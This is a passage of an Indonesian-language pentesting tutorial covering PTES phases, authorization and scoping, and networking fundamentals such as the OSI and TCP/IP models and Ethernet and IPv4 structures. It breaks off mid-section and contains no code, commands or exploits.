Pengujian Penetrasi Python - Panduan Cepat

Uji pena atau pengujian penetrasi, dapat didefinisikan sebagai upaya untuk mengevaluasi keamanan infrastruktur TI dengan mensimulasikan serangan dunia maya terhadap sistem komputer untuk mengeksploitasi kerentanan.

Apa perbedaan antara pemindaian kerentanan dan pengujian penetrasi? Pemindaian kerentanan hanya mengidentifikasi kerentanan yang dicatat dan pengujian penetrasi, seperti yang dikatakan sebelumnya, merupakan upaya untuk mengeksploitasi kerentanan. Pengujian penetrasi membantu untuk menentukan apakah akses tidak sah atau aktivitas berbahaya lainnya dimungkinkan dalam sistem.

Kami dapat melakukan pengujian penetrasi untuk server, aplikasi web, jaringan nirkabel, perangkat seluler, dan titik pemaparan potensial lainnya menggunakan teknologi manual atau otomatis. Karena pengujian penetrasi, jika kita mengeksploitasi segala jenis kerentanan, hal yang sama harus diteruskan ke TI dan manajer sistem jaringan untuk mencapai kesimpulan strategis.

Signifikansi Pengujian Penetrasi (pen)

Pada bagian ini, kita akan belajar tentang pentingnya pengujian penetrasi. Pertimbangkan poin-poin berikut untuk mengetahui tentang signifikansinya -

Keamanan organisasi

Signifikansi pengujian penetrasi dapat dipahami dari titik yang memberikan jaminan kepada organisasi dengan penilaian rinci keamanan organisasi tersebut.

Melindungi kerahasiaan organisasi

Dengan bantuan pengujian penetrasi, kami dapat menemukan potensi ancaman sebelum menghadapi kerusakan dan melindungi kerahasiaan organisasi tersebut.

Penerapan kebijakan keamanan

Pengujian penetrasi dapat memastikan kita mengenai implementasi kebijakan keamanan dalam suatu organisasi.

Mengelola efisiensi jaringan

Dengan bantuan pengujian penetrasi, efisiensi jaringan dapat dikelola. Itu dapat memeriksa keamanan perangkat seperti firewall, router, dll.

Pastikan keamanan organisasi

Misalkan jika kita ingin menerapkan perubahan dalam desain jaringan atau memperbarui perangkat lunak, perangkat keras, dll., Pengujian penetrasi memastikan keamanan organisasi terhadap segala jenis kerentanan.

Siapa penguji pena yang baik?

Penguji penetrasi adalah profesional perangkat lunak yang membantu organisasi memperkuat pertahanan mereka terhadap serangan dunia maya dengan mengidentifikasi kerentanan. Penguji penetrasi dapat menggunakan teknik manual atau alat otomatis untuk pengujian.

Sekarang mari kita pertimbangkan karakteristik penting berikut dari penguji penetrasi yang baik -

Pengetahuan tentang jaringan dan pengembangan aplikasi

Seorang pentester yang baik harus memiliki pengetahuan tentang pengembangan aplikasi, administrasi database, dan jaringan karena ia diharapkan dapat menangani pengaturan konfigurasi serta pengkodean.

Pemikir yang luar biasa

Pentester harus menjadi pemikir yang luar biasa dan tidak akan ragu untuk menerapkan alat dan metodologi yang berbeda pada tugas tertentu untuk mendapatkan hasil terbaik.

Pengetahuan tentang prosedur

Pentester yang baik harus memiliki pengetahuan untuk menetapkan ruang lingkup untuk setiap uji penetrasi seperti tujuannya, batasan dan pembenaran prosedur.

Teknologi terkini

Seorang pentester harus up-to-date dalam keterampilan teknologinya karena bisa ada perubahan teknologi kapan saja.

Terampil dalam pembuatan laporan

Setelah berhasil menerapkan pengujian penetrasi, penguji pena harus menyebutkan semua temuan dan potensi risiko dalam laporan akhir. Oleh karena itu, ia harus memiliki keterampilan yang baik dalam membuat laporan.

Bergairah tentang keamanan cyber

Orang yang bersemangat bisa mencapai kesuksesan dalam hidup. Demikian pula, jika seseorang sangat tertarik dengan sekuritas dunia maya maka dia bisa menjadi penguji pena yang baik.

Ruang Lingkup Pengujian Penetrasi

Sekarang kita akan belajar tentang ruang lingkup pengujian penetrasi. Dua jenis pengujian berikut dapat menentukan ruang lingkup pengujian penetrasi -

Pengujian tak rusak (NDT)

Pengujian non-destruktif tidak menempatkan sistem ke dalam risiko apa pun. NDT digunakan untuk menemukan cacat, sebelum menjadi berbahaya, tanpa merusak sistem, objek, dll. Saat melakukan pengujian penetrasi, NDT melakukan tindakan berikut -

Pemindaian sistem jarak jauh

Tes ini memindai dan mengidentifikasi sistem jarak jauh untuk kemungkinan kerentanan.

Verifikasi

Setelah menemukan kerentanan, ia juga melakukan verifikasi semua yang ditemukan.

Pemanfaatan yang tepat dari sistem jarak jauh

Di NDT, penguji pena akan memanfaatkan sistem jarak jauh dengan benar. Ini membantu dalam menghindari interupsi.

Note - Di sisi lain, saat melakukan pengujian penetrasi, NDT tidak berfungsi Denial-of-Service (DoS) attack.

Pengujian yang merusak

Pengujian yang merusak dapat membahayakan sistem. Ini lebih mahal dan membutuhkan lebih banyak keterampilan daripada pengujian nondestruktif. Saat melakukan pengujian penetrasi, pengujian destruktif melakukan tindakan berikut -

  • Denial-of-Service (DoS) attack - Pengujian yang merusak melakukan serangan DoS.

  • Buffer overflow attack - Ini juga melakukan serangan buffer overflow yang dapat menyebabkan crash sistem.

Apa yang harus dipasang untuk latihan pengujian penetrasi?

Alat & teknik pengujian penetrasi hanya boleh dijalankan di lingkungan yang Anda miliki atau memiliki izin untuk menjalankan alat ini. Kita tidak boleh mempraktikkan teknik ini di lingkungan di mana, kita tidak diizinkan untuk melakukannya karena pengujian penetrasi tanpa izin adalah ilegal.

  • Kami dapat mempraktikkan pengujian penetrasi dengan menginstal suite virtualisasi - baik VMware Player( www.vmware.com/products/player ) atauOracle VirtualBox -

    www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html

  • Kami juga dapat membuat Mesin Virtual (VM) dari versi saat ini -

    • Kali Linux ( www.kali.org/downloads/ )

    • Kerangka Pengujian Web Samurai (http://samurai.inguardians.com/)

    • Metasploitable ( www.offensivesecurity.com/metasploit-unleashed/Requirements )

Belakangan ini, organisasi pemerintah dan swasta telah menjadikan keamanan dunia maya sebagai prioritas strategis. Penjahat dunia maya sering menjadikan organisasi pemerintah dan swasta sebagai sasaran empuk mereka dengan menggunakan vektor penyerang yang berbeda. Sayangnya, karena kurangnya kebijakan yang efisien, standar dan kompleksitas sistem informasi, penjahat dunia maya memiliki banyak sasaran dan mereka menjadi sukses dalam mengeksploitasi sistem dan mencuri informasi juga.

Pengujian penetrasi merupakan salah satu strategi yang dapat digunakan untuk memitigasi risiko serangan siber. Keberhasilan pengujian penetrasi bergantung pada metodologi penilaian yang efisien & konsisten.

Kami memiliki berbagai metodologi penilaian yang terkait dengan pengujian penetrasi. Manfaat menggunakan metodologi adalah memungkinkan penilai untuk mengevaluasi lingkungan secara konsisten. Berikut adalah beberapa metodologi penting -

  • Manual Metodologi Pengujian Keamanan Sumber Terbuka (OSSTMM)

  • Proyek Keamanan Aplikasi Web Terbuka (OWASP)

  • Institut Standar dan Teknologi Nasional (NIST)

  • Standar Eksekusi Pengujian Penetrasi (PTES)

Apakah PTES itu?

PTES, standar pelaksanaan pengujian penetrasi, sesuai dengan namanya adalah metodologi penilaian untuk pengujian penetrasi. Ini mencakup semua yang berhubungan dengan tes penetrasi. Kami memiliki sejumlah pedoman teknis, dalam PTES, terkait dengan lingkungan berbeda yang mungkin ditemui oleh penilai. Ini adalah keuntungan terbesar menggunakan PTES oleh penilai baru karena pedoman teknis memiliki saran untuk menangani dan mengevaluasi lingkungan dalam alat standar industri.

Pada bagian berikut, kita akan belajar tentang berbagai fase PTES.

Tujuh Tahap PTES

Standar pelaksanaan pengujian penetrasi (PTES) terdiri dari tujuh fase. Fase-fase ini mencakup semua yang terkait dengan tes penetrasi - dari komunikasi awal dan penalaran di balik pentest, hingga fase pengumpulan intelijen dan pemodelan ancaman di mana penguji bekerja di belakang layar. Ini mengarah pada pemahaman yang lebih baik tentang organisasi yang diuji, melalui penelitian kerentanan, eksploitasi dan pasca eksploitasi. Di sini, keahlian keamanan teknis dari para penguji secara kritis dikombinasikan dengan pemahaman bisnis tentang pengikatan, dan akhirnya pada pelaporan, yang menangkap seluruh proses, dengan cara yang masuk akal bagi pelanggan dan memberikan nilai paling tinggi untuk itu.

Kita akan belajar tentang tujuh fase PTES di bagian selanjutnya -

Fase Interaksi Pra-keterlibatan

Ini adalah fase pertama dan sangat penting dari PTES. Tujuan utama dari fase ini adalah untuk menjelaskan alat dan teknik yang tersedia, yang membantu langkah pra-keterlibatan yang berhasil dari uji penetrasi. Kesalahan apa pun saat menerapkan tahap ini dapat berdampak signifikan pada penilaian lainnya. Fase ini terdiri dari:

Minta penilaian

Bagian pertama yang memulai fase ini adalah pembuatan permintaan penilaian oleh organisasi. SEBUAHRequest for Proposal (RFP) dokumen yang memiliki rincian tentang lingkungan, jenis penilaian yang diperlukan dan harapan organisasi diberikan kepada penilai.

Menawar

Sekarang, berdasarkan RFP dokumen, beberapa perusahaan penilai atau Korporasi Perseroan Terbatas (LLC) akan mengajukan tawaran dan pihak, tawaran yang cocok dengan pekerjaan yang diminta, harga dan beberapa parameter spesifik lainnya akan menang.

Penandatanganan Surat Pertunangan (EL)

Kini, pihak organisasi dan pihak yang memenangkan tender akan menandatangani kontrak Engagement Letter (EL). Surat itu akan memilikistatement of work (SOW) dan produk akhir.

Pertemuan Pelingkupan

Setelah EL ditandatangani, penyempurnaan cakupan dapat dimulai. Pertemuan semacam itu membantu organisasi dan partai untuk menyesuaikan ruang lingkup tertentu. Tujuan utama dari scoping meeting adalah untuk mendiskusikan apa yang akan diujikan.

Penanganan creep scope

Scope creep adalah sesuatu di mana klien dapat mencoba menambah atau memperpanjang tingkat pekerjaan yang dijanjikan untuk mendapatkan lebih dari yang mungkin dijanjikan untuk dibayar. Itulah mengapa modifikasi pada ruang lingkup asli harus dipertimbangkan dengan hati-hati karena waktu dan sumber daya. Itu juga harus dilengkapi dalam beberapa bentuk terdokumentasi seperti email, dokumen yang ditandatangani atau surat resmi dll.

Kuesioner

Selama komunikasi awal dengan pelanggan, ada beberapa pertanyaan yang harus dijawab klien untuk perkiraan yang tepat dari ruang lingkup keterlibatan. Pertanyaan-pertanyaan ini dirancang untuk memberikan pemahaman yang lebih baik tentang apa yang ingin diperoleh klien dari uji penetrasi; mengapa klien ingin melakukan uji penetrasi terhadap lingkungannya; dan, apakah mereka ingin jenis pengujian tertentu dilakukan selama pengujian penetrasi atau tidak.

Cara melakukan tes

Bagian terakhir dari fase pra-perikatan adalah memutuskan prosedur untuk melakukan pengujian. Ada berbagai strategi pengujian seperti White Box, Black Box, Grey Box, pengujian double-blind untuk dipilih.

Berikut adalah beberapa contoh penilaian yang mungkin diminta -

  • Tes penetrasi jaringan
  • Tes penetrasi aplikasi web
  • Tes penetrasi jaringan nirkabel
  • Tes penetrasi fisik
  • Rekayasa sosial
  • Phishing
  • Voice Over Internet Protocol (VOIP)
  • Jaringan internal
  • Jaringan eksternal

Fase Pengumpulan Intelijen

Pengumpulan intelijen, fase kedua dari PTES, adalah tempat kami melakukan survei pendahuluan terhadap suatu target untuk mengumpulkan informasi sebanyak mungkin untuk digunakan saat menembus target selama fase penilaian kerentanan dan eksploitasi. Ini membantu organisasi dalam menentukan eksposur eksternal oleh tim penilai. Kita dapat membagi pengumpulan informasi dalam tiga tingkat berikut -

Pengumpulan Informasi Tingkat 1

Alat otomatis dapat memperoleh informasi tingkat ini hampir seluruhnya. Upaya pengumpulan informasi Tingkat 1 harus sesuai untuk memenuhi persyaratan kepatuhan.

Pengumpulan Informasi Level 2

Level informasi ini dapat diperoleh dengan menggunakan alat otomatis dari level 1 bersama dengan beberapa analisis manual. Tingkat ini membutuhkan pemahaman yang baik tentang bisnis, termasuk informasi seperti lokasi fisik, hubungan bisnis, bagan organisasi, dll. Upaya pengumpulan informasi Tingkat 2 harus sesuai untuk memenuhi persyaratan kepatuhan bersama dengan kebutuhan lain seperti strategi keamanan jangka panjang, mengakuisisi produsen yang lebih kecil, dll.

Pengumpulan Informasi Level 3

Tingkat pengumpulan informasi ini digunakan dalam uji penetrasi paling canggih. Semua informasi dari level 1 dan level 2 bersama dengan banyak analisis manual diperlukan untuk pengumpulan informasi level 3.

Tahap Pemodelan Ancaman

Ini adalah fase ketiga PTES. Pendekatan pemodelan ancaman diperlukan untuk pelaksanaan pengujian penetrasi yang benar. Pemodelan ancaman dapat digunakan sebagai bagian dari uji penetrasi atau mungkin dihadapi berdasarkan sejumlah faktor. Jika kita menggunakan pemodelan ancaman sebagai bagian dari uji penetrasi, maka informasi yang dikumpulkan pada tahap kedua akan dikembalikan ke tahap pertama.

Langkah-langkah berikut merupakan fase pemodelan ancaman -

  • Kumpulkan informasi yang diperlukan dan relevan.

  • Perlu mengidentifikasi dan mengkategorikan aset primer & sekunder.

  • Perlu mengidentifikasi dan mengkategorikan komunitas ancaman & ancaman.

  • Perlu memetakan komunitas ancaman terhadap aset primer & sekunder.

Komunitas & Agen Ancaman

Tabel berikut mencantumkan komunitas dan agen ancaman yang relevan beserta lokasinya di organisasi -

Lokasi Intern Luar
Threat agents/communities Para karyawan Mitra Bisnis
Orang manajemen Kontraktor
Administrator (Jaringan, Sistem) Pesaing
Insinyur Pemasok
Teknisi Negara Bangsa
Komunitas pengguna umum Peretas

Saat melakukan penilaian pemodelan ancaman, kita perlu mengingat bahwa lokasi ancaman dapat bersifat internal. Hanya dibutuhkan satu email phishing atau satu karyawan yang kesal yang menjaga keamanan organisasi yang dipertaruhkan dengan menyiarkan kredensial.

Fase Analisis Kerentanan

Ini adalah fase keempat dari PTES di mana penilai akan mengidentifikasi target yang layak untuk pengujian lebih lanjut. Dalam tiga fase pertama PTES, hanya detail tentang organisasi yang telah diekstraksi dan penilai belum menyentuh sumber daya apa pun untuk pengujian. Ini adalah fase PTES yang paling memakan waktu.

Tahapan berikut merupakan Analisis Kerentanan -

Pengujian kerentanan

Ini dapat didefinisikan sebagai proses menemukan kekurangan seperti kesalahan konfigurasi dan desain aplikasi yang tidak aman dalam sistem dan aplikasi host dan layanan. Penguji harus mencakup pengujian dengan benar dan hasil yang diinginkan sebelum melakukan analisis kerentanan. Pengujian kerentanan dapat dari jenis berikut -

  • Pengujian aktif
  • Pengujian pasif

Kami akan membahas kedua jenis secara rinci di bagian selanjutnya.

Pengujian aktif

Ini melibatkan interaksi langsung dengan komponen yang diuji untuk kerentanan keamanan. Komponen dapat berada pada level rendah seperti tumpukan TCP pada perangkat jaringan atau pada level tinggi seperti antarmuka berbasis web. Pengujian aktif dapat dilakukan dengan dua cara berikut -

Pengujian aktif otomatis

Ini menggunakan perangkat lunak untuk berinteraksi dengan target, memeriksa tanggapan dan menentukan berdasarkan tanggapan ini apakah ada kerentanan dalam komponen atau tidak. Pentingnya pengujian aktif otomatis dibandingkan dengan pengujian aktif manual dapat disadari dari fakta bahwa jika ada ribuan port TCP pada suatu sistem dan kita perlu menghubungkan semuanya secara manual untuk pengujian, itu akan memakan banyak waktu. Namun, melakukannya dengan alat otomatis dapat mengurangi banyak waktu dan kebutuhan tenaga kerja. Pemindaian kerentanan jaringan, pemindaian port, pengambilan spanduk, pemindaian aplikasi web dapat dilakukan dengan bantuan alat pengujian aktif otomatis.

Pengujian aktif manual

Pengujian efektif manual lebih efektif jika dibandingkan dengan pengujian aktif otomatis. Margin kesalahan selalu ada dengan proses atau teknologi otomatis. Itulah mengapa selalu disarankan untuk menjalankan koneksi langsung secara manual ke setiap protokol atau layanan yang tersedia pada sistem target untuk memvalidasi hasil pengujian otomatis.

Pengujian pasif

Pengujian pasif tidak melibatkan interaksi langsung dengan komponen. Ini dapat diimplementasikan dengan bantuan dua teknik berikut -

Analisis Metadata

Teknik ini melibatkan melihat data yang mendeskripsikan file daripada data dari file itu sendiri. Misalnya, file MS word memiliki metadata dalam hal nama penulisnya, nama perusahaan, tanggal & waktu ketika dokumen terakhir diubah dan disimpan. Akan ada masalah keamanan jika penyerang bisa mendapatkan akses pasif ke metadata.

Pemantauan Lalu Lintas

Ini dapat didefinisikan sebagai teknik untuk menghubungkan ke jaringan internal dan menangkap data untuk analisis offline. Ini terutama digunakan untuk menangkap file“leaking of data” ke jaringan yang dialihkan.

Validasi

Setelah pengujian kerentanan, validasi temuan sangat diperlukan. Itu dapat dilakukan dengan bantuan teknik berikut -

Korelasi antar alat

Jika asesor melakukan pengujian kerentanan dengan beberapa alat otomatis maka untuk memvalidasi temuannya, sangat diperlukan adanya korelasi antar alat tersebut. Penemuan ini dapat menjadi rumit jika tidak ada korelasi antara alat tersebut. Ini dapat dipecah menjadi korelasi item tertentu dan korelasi kategori item.

Validasi khusus protokol

Validasi juga dapat dilakukan dengan bantuan protokol. VPN, Citrix, DNS, Web, server email dapat digunakan untuk memvalidasi temuan.

Penelitian

Setelah menemukan dan memvalidasi kerentanan dalam suatu sistem, penting untuk menentukan keakuratan identifikasi masalah dan untuk meneliti potensi eksploitasi kerentanan dalam ruang lingkup uji penetrasi. Penelitian dapat dilakukan secara publik atau pribadi. Saat melakukan penelitian publik, basis data kerentanan dan saran vendor dapat digunakan untuk memverifikasi keakuratan masalah yang dilaporkan. Di sisi lain, saat melakukan penelitian pribadi, lingkungan replika dapat disetel dan teknik seperti fuzzing atau konfigurasi pengujian dapat diterapkan untuk memverifikasi keakuratan masalah yang dilaporkan.

Tahap Eksploitasi

Ini adalah fase kelima PTES. Fase ini berfokus pada mendapatkan akses ke sistem atau sumber daya dengan melewati batasan keamanan. Dalam fase ini, semua pekerjaan yang dilakukan oleh fase sebelumnya mengarah pada mendapatkan akses ke sistem. Ada beberapa istilah umum sebagai berikut yang digunakan untuk mendapatkan akses ke sistem -

  • Popped
  • Shelled
  • Cracked
  • Exploited

Sistem masuk, dalam fase eksploitasi, dapat dilakukan dengan bantuan kode, eksploitasi jarak jauh, pembuatan eksploitasi, melewati antivirus atau bisa sesederhana masuk melalui kredensial yang lemah. Setelah mendapatkan akses, yaitu setelah mengidentifikasi pintu masuk utama, penilai harus fokus untuk mengidentifikasi aset target yang bernilai tinggi. Jika fase analisis kerentanan diselesaikan dengan benar, daftar target bernilai tinggi harus dipenuhi. Pada akhirnya, vektor serangan harus mempertimbangkan probabilitas keberhasilan dan dampak tertinggi pada organisasi.

Fase Pasca Eksploitasi

Ini adalah fase keenam PTES. Penilai melakukan aktivitas berikut dalam fase ini -

Analisis infrastruktur

Analisis seluruh infrastruktur yang digunakan selama pengujian penetrasi dilakukan pada tahap ini. Misalnya, analisis jaringan atau konfigurasi jaringan dapat dilakukan dengan bantuan antarmuka, perutean, server DNS, entri DNS Cache, server proxy, dll.

Perampokan

Ini dapat didefinisikan sebagai memperoleh informasi dari host yang ditargetkan. Informasi ini relevan dengan tujuan yang ditentukan dalam fase pra-penilaian. Informasi ini dapat diperoleh dari program yang diinstal, server tertentu seperti server basis data, printer, dll. Pada sistem.

Eksfiltrasi data

Dalam kegiatan ini asesor dituntut untuk melakukan pemetaan dan pengujian terhadap semua jalur eksfiltrasi yang memungkinkan sehingga dapat dilakukan pengukuran kekuatan kendali, yaitu mendeteksi dan memblokir informasi sensitif dari organisasi.

Menciptakan ketekunan

Aktivitas ini mencakup penginstalan pintu belakang yang memerlukan otentikasi, boot ulang pintu belakang saat diperlukan, dan pembuatan akun alternatif dengan sandi yang kompleks.

Membersihkan

Seperti namanya, proses ini mencakup persyaratan untuk sistem pembersihan setelah uji penetrasi selesai. Aktivitas ini mencakup pengembalian ke pengaturan sistem nilai asli, parameter konfigurasi aplikasi, dan penghapusan semua pintu belakang yang diinstal dan setiap akun pengguna yang dibuat.

Pelaporan

Ini adalah fase terakhir dan terpenting dari PTES. Di sini, klien membayar berdasarkan laporan akhir setelah menyelesaikan uji penetrasi. Laporan pada dasarnya merupakan cermin dari temuan asesor tentang sistem. Berikut adalah bagian penting dari laporan yang baik -

Ringkasan bisnis plan

Ini adalah laporan yang menyampaikan kepada pembaca tentang tujuan spesifik dari uji penetrasi dan temuan tingkat tinggi dari latihan pengujian. Audiens yang dituju dapat menjadi anggota dewan penasihat dari ketua suite.

Alur cerita

Laporan tersebut harus berisi alur cerita, yang akan menjelaskan apa yang telah dilakukan selama penugasan, temuan atau kelemahan keamanan aktual, dan kontrol positif yang telah ditetapkan organisasi.

Bukti konsep / laporan teknis

Bukti konsep atau laporan teknis harus terdiri dari rincian teknis pengujian dan semua aspek / komponen yang telah disepakati sebagai indikator keberhasilan utama dalam latihan pra pengikatan. Bagian laporan teknis akan menjelaskan secara rinci ruang lingkup, informasi, jalur serangan, dampak dan saran perbaikan dari pengujian.

Kami selalu mendengar bahwa untuk melakukan pengujian penetrasi, pentester harus menyadari konsep jaringan dasar seperti alamat IP, subnetting berkelas, subnetting tanpa kelas, port, dan jaringan penyiaran. Alasan pertama adalah bahwa aktivitas seperti host mana yang aktif dalam cakupan yang disetujui dan layanan, port, dan fitur apa yang mereka miliki terbuka dan responsif akan menentukan jenis aktivitas apa yang akan dilakukan penilai dalam pengujian penetrasi. Lingkungan terus berubah dan sistem sering kali dialokasikan kembali. Oleh karena itu, sangat mungkin bahwa kerentanan lama dapat muncul lagi dan tanpa pengetahuan yang baik tentang pemindaian jaringan, mungkin saja pemindaian awal harus dilakukan ulang. Di bagian selanjutnya, kami akan membahas dasar-dasar komunikasi jaringan.

Model referensi

Model Referensi menawarkan sarana standarisasi, yang dapat diterima di seluruh dunia karena orang yang menggunakan jaringan komputer berada pada jangkauan fisik yang luas dan perangkat jaringan mereka mungkin memiliki arsitektur yang heterogen. Untuk menyediakan komunikasi antar perangkat yang heterogen, kita memerlukan model standar, yaitu model referensi, yang akan memberi kita cara perangkat ini dapat berkomunikasi.

Kami memiliki dua model referensi seperti model OSI dan model referensi TCP / IP. Namun, model OSI adalah model hipotetis tetapi TCP / IP adalah model praktis.

Model OSI

Antarmuka Sistem Terbuka dirancang oleh organisasi Internasional Standardisasi (ISO) dan oleh karena itu, ini juga disebut sebagai Model ISO-OSI.

Model OSI terdiri dari tujuh lapisan seperti yang ditunjukkan pada diagram berikut. Setiap lapisan memiliki fungsi tertentu, namun setiap lapisan menyediakan layanan ke lapisan di atasnya.

Lapisan fisik

Lapisan Fisik bertanggung jawab atas aktivitas berikut -

  • Mengaktifkan, memelihara dan menonaktifkan koneksi fisik.

  • Menentukan voltase dan kecepatan data yang diperlukan untuk transmisi.

  • Mengubah bit digital menjadi sinyal listrik.

  • Memutuskan apakah koneksi simplex, half-duplex atau full-duplex.

Lapisan Data Link

Lapisan data link melakukan fungsi berikut -

  • Melakukan sinkronisasi dan kontrol kesalahan untuk informasi yang akan dikirim melalui tautan fisik.

  • Mengaktifkan deteksi kesalahan, dan menambahkan bit deteksi kesalahan ke data yang akan dikirim.

Lapisan Jaringan

Lapisan jaringan melakukan fungsi berikut -

  • Untuk merutekan sinyal melalui berbagai saluran ke ujung lainnya.

  • Bertindak sebagai pengontrol jaringan dengan memutuskan data rute mana yang harus diambil.

  • Untuk membagi pesan keluar menjadi beberapa paket dan merakit paket masuk menjadi pesan untuk level yang lebih tinggi.

Lapisan Transportasi

Lapisan Transport melakukan fungsi berikut -

  • Ini memutuskan apakah transmisi data harus dilakukan di jalur paralel atau jalur tunggal.

  • Itu melakukan multiplexing, membagi data.

  • Ini memecah kelompok data menjadi unit-unit yang lebih kecil sehingga mereka ditangani lebih efisien oleh lapisan jaringan.

Transport Layer menjamin transmisi data dari satu ujung ke ujung lainnya.

Lapisan Sesi

Lapisan Sesi melakukan fungsi berikut -

  • Mengelola pesan dan menyinkronkan percakapan antara dua aplikasi berbeda.

  • Ini mengontrol masuk dan keluar, identifikasi pengguna, penagihan dan manajemen sesi.

Lapisan Presentasi

Lapisan Presentasi melakukan fungsi berikut -

  • Lapisan ini memastikan bahwa informasi dikirimkan dalam bentuk yang sistem penerima akan mengerti dan menggunakannya.

Lapisan Aplikasi

Lapisan Aplikasi melakukan fungsi berikut -

  • Ini menyediakan layanan yang berbeda seperti manipulasi informasi dalam beberapa cara, mentransfer kembali file informasi, mendistribusikan hasil, dll.

  • Fungsi seperti LOGIN atau pemeriksaan kata sandi juga dilakukan oleh lapisan aplikasi.

Model TCP / IP

Model Transmission Control Protocol dan Internet Protocol (TCP / IP) adalah model praktis dan digunakan di Internet.

Model TCP / IP menggabungkan dua lapisan (lapisan tautan Fisik dan Data) menjadi satu lapisan - lapisan Host-ke-Jaringan. Diagram berikut menunjukkan berbagai lapisan model TCP / IP -

Lapisan Aplikasi

Lapisan ini sama dengan model OSI dan menjalankan fungsi berikut -

  • Ini menyediakan layanan yang berbeda seperti manipulasi informasi dalam beberapa cara, mentransfer kembali file informasi, mendistribusikan hasil, dll.

  • Lapisan aplikasi juga menjalankan fungsi seperti LOGIN atau pemeriksaan kata sandi.

  • Berikut ini adalah protokol berbeda yang digunakan di lapisan Aplikasi -

    • TELNET
    • FTP
    • SMTP
    • DN
    • HTTP
    • NNTP

Lapisan Transportasi

Itu melakukan fungsi yang sama seperti yang ada pada lapisan transport dalam model OSI. Pertimbangkan poin penting berikut yang terkait dengan lapisan transport -

  • Ia menggunakan protokol TCP dan UDP untuk transmisi ujung ke ujung.

  • TCP adalah protokol yang andal dan berorientasi koneksi.

  • TCP juga menangani kontrol aliran.

  • UDP tidak dapat diandalkan dan protokol koneksi kurang tidak melakukan kontrol aliran.

  • Protokol TCP / IP dan UDP digunakan di lapisan ini.

Lapisan Internet

Fungsi dari lapisan ini adalah untuk memungkinkan host memasukkan paket ke dalam jaringan dan kemudian membuatnya melakukan perjalanan secara independen ke tujuan. Namun, urutan penerimaan paket dapat berbeda dari urutan pengirimannya.

Internet Protocol (IP) digunakan di lapisan Internet.

Lapisan Host-ke-Jaringan

Ini adalah lapisan terendah dalam model TCP / IP. Host harus terhubung ke jaringan menggunakan beberapa protokol, sehingga dapat mengirim paket IP melaluinya. Protokol ini bervariasi dari host ke host dan jaringan ke jaringan.

Berbagai protokol yang digunakan dalam lapisan ini adalah -

  • ARPANET
  • SATNET
  • LAN
  • Paket radio

Arsitektur Berguna

Berikut adalah beberapa arsitektur yang berguna, yang digunakan dalam komunikasi jaringan -

Arsitektur bingkai Ethernet

Seorang insinyur bernama Robert Metcalfe pertama kali menemukan jaringan Ethernet, yang didefinisikan di bawah standar IEEE 802.3, pada tahun 1973. Ini pertama kali digunakan untuk menghubungkan dan mengirim data antara workstation dan printer. Lebih dari 80% LAN menggunakan standar Ethernet untuk kecepatan, biaya lebih rendah dan kemudahan instalasi. Di sisi lain, jika kita berbicara tentang frame maka data berpindah dari host ke host di jalan. Bingkai dibentuk oleh berbagai komponen seperti alamat MAC, header IP, pembatas awal dan akhir, dll.

Bingkai Ethernet dimulai dengan Pembukaan dan SFD. Header Ethernet berisi alamat MAC Sumber dan Tujuan, setelah itu payload frame ditampilkan. Bidang terakhir adalah CRC, yang digunakan untuk mendeteksi kesalahan. Struktur rangka Ethernet dasar ditentukan dalam standar IEEE 802.3, yang dijelaskan sebagai berikut -

Format bingkai Ethernet (IEEE 802.3)

Paket Ethernet mengangkut bingkai Ethernet sebagai muatannya. Berikut adalah representasi grafis dari frame Ethernet beserta uraian masing-masing field -

Nama Bidang Pembukaan SFD (Awal pembatas bingkai) MAC tujuan Sumber MAC Tipe Data CRC
Ukuran (dalam byte) 7 1 6 6 2 46-1500 4

Pembukaan

Sebuah frame Ethernet didahului oleh pembukaan, berukuran 7 byte, yang menginformasikan sistem penerima bahwa sebuah frame dimulai dan memungkinkan pengirim serta penerima untuk membuat sinkronisasi bit.

SFD (Awal pembatas bingkai)

Ini adalah bidang 1-byte yang digunakan untuk menandakan bahwa bidang alamat MAC Tujuan dimulai dengan byte berikutnya. Terkadang bidang SFD dianggap sebagai bagian dari Pembukaan. Itulah mengapa pembukaan dianggap 8 byte di banyak tempat.

  • Destination MAC - Ini adalah bidang 6-byte dimana, kami memiliki alamat sistem penerima.

  • Source MAC - Ini adalah bidang 6-byte dimana, kami memiliki alamat sistem pengirim.

  • Type- Ini mendefinisikan jenis protokol di dalam bingkai. Misalnya, IPv4 atau IPv6. Ukurannya 2 byte.

  • Data- Ini juga disebut Payload dan data aktual dimasukkan di sini. Panjangnya harus antara 46-1500 byte. Jika panjangnya kurang dari 46 byte maka padding 0 ditambahkan untuk memenuhi panjang minimum yang memungkinkan, yaitu 46.

  • CRC (Cyclic Redundancy Check) - Ini adalah bidang 4-byte yang berisi CRC 32-bit, yang memungkinkan deteksi data yang rusak.

Format Extended Ethernet Frame (bingkai Ethernet II)

Berikut ini adalah representasi grafis dari frame Ethernet yang diperluas yang dengannya kita bisa mendapatkan Payload lebih besar dari 1500 byte -

Nama Bidang MAC tujuan Sumber MAC Tipe DSAP SSAP Ctrl Data CRC
Ukuran (dalam byte) 6 6 2 1 1 1 > 46 4

Deskripsi bidang, yang berbeda dari bingkai Ethernet IEEE 802.3, adalah sebagai berikut -

DSAP (Titik Akses Layanan Tujuan)

DSAP adalah bidang sepanjang 1 byte yang mewakili alamat logis dari entitas lapisan jaringan yang dimaksudkan untuk menerima pesan.

SSAP (Titik Akses Layanan Sumber)

SSAP adalah bidang sepanjang 1 byte yang mewakili alamat logis dari entitas lapisan jaringan yang telah membuat pesan tersebut.

Ctrl

Ini adalah bidang kontrol 1 byte.

Arsitektur Paket IP

Protokol Internet adalah salah satu protokol utama dalam rangkaian protokol TCP / IP. Protokol ini bekerja di lapisan jaringan model OSI dan di lapisan Internet model TCP / IP. Dengan demikian, protokol ini memiliki tanggung jawab untuk mengidentifikasi host berdasarkan alamat logisnya dan untuk merutekan data di antara mereka melalui jaringan yang mendasarinya. IP menyediakan mekanisme untuk mengidentifikasi host secara unik dengan skema pengalamatan IP. IP menggunakan pengiriman upaya terbaik, yaitu, tidak menjamin bahwa paket akan dikirim ke host yang dituju, tetapi akan melakukan yang terbaik untuk mencapai tujuan.

Di bagian selanjutnya, kita akan belajar tentang dua versi IP yang berbeda.

IPv4

Ini adalah Internet Protocol versi 4, yang menggunakan alamat logis 32-bit. Berikut adalah diagram header IPv4 beserta deskripsi field -

Versi: kapan

Ini adalah versi dari Protokol Internet yang digunakan; misalnya, IPv4.

IHL

Panjang Header Internet; panjang seluruh header IP.

DSCP

